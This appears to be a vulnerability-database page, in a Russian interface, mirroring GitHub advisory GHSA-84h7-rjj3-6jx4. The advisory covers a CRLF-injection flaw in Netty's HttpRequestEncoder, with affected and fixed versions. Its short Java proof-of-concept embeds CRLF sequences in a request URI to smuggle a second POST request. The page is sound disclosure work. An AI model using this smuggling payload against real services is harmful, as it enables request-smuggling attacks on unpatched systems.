Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-84h7-rjj3-6jx4

Опубликовано: 15 дек. 2025
Источник: github
Github: Прошло ревью
CVSS3: 6.5

Описание

Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec()); EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } }); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } }

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

Пакеты

Наименование

io.netty:netty-codec-http

maven
Затронутые версииВерсия исправления

>= 4.2.0.Alpha1, < 4.2.8.Final

4.2.8.Final

Наименование

io.netty:netty-codec-http

maven
Затронутые версииВерсия исправления

< 4.1.129.Final

4.1.129.Final

EPSS

Процентиль: 7%
0.00026
Низкий

6.5 Medium

CVSS3

Дефекты

CWE-93

Связанные уязвимости

CVSS3: 6.5
ubuntu
около 2 месяцев назад

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the `io.netty.handler.codec.http.HttpRequestEncoder` has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the URI. Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue.

CVSS3: 6.5
nvd
около 2 месяцев назад

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the `io.netty.handler.codec.http.HttpRequestEncoder` has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the URI. Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue.

CVSS3: 6.5
debian
около 2 месяцев назад

Netty is an asynchronous, event-driven network application framework. ...

suse-cvrf
около 2 месяцев назад

Security update for netty

EPSS

Процентиль: 7%
0.00026
Низкий

6.5 Medium

CVSS3

Дефекты

CWE-93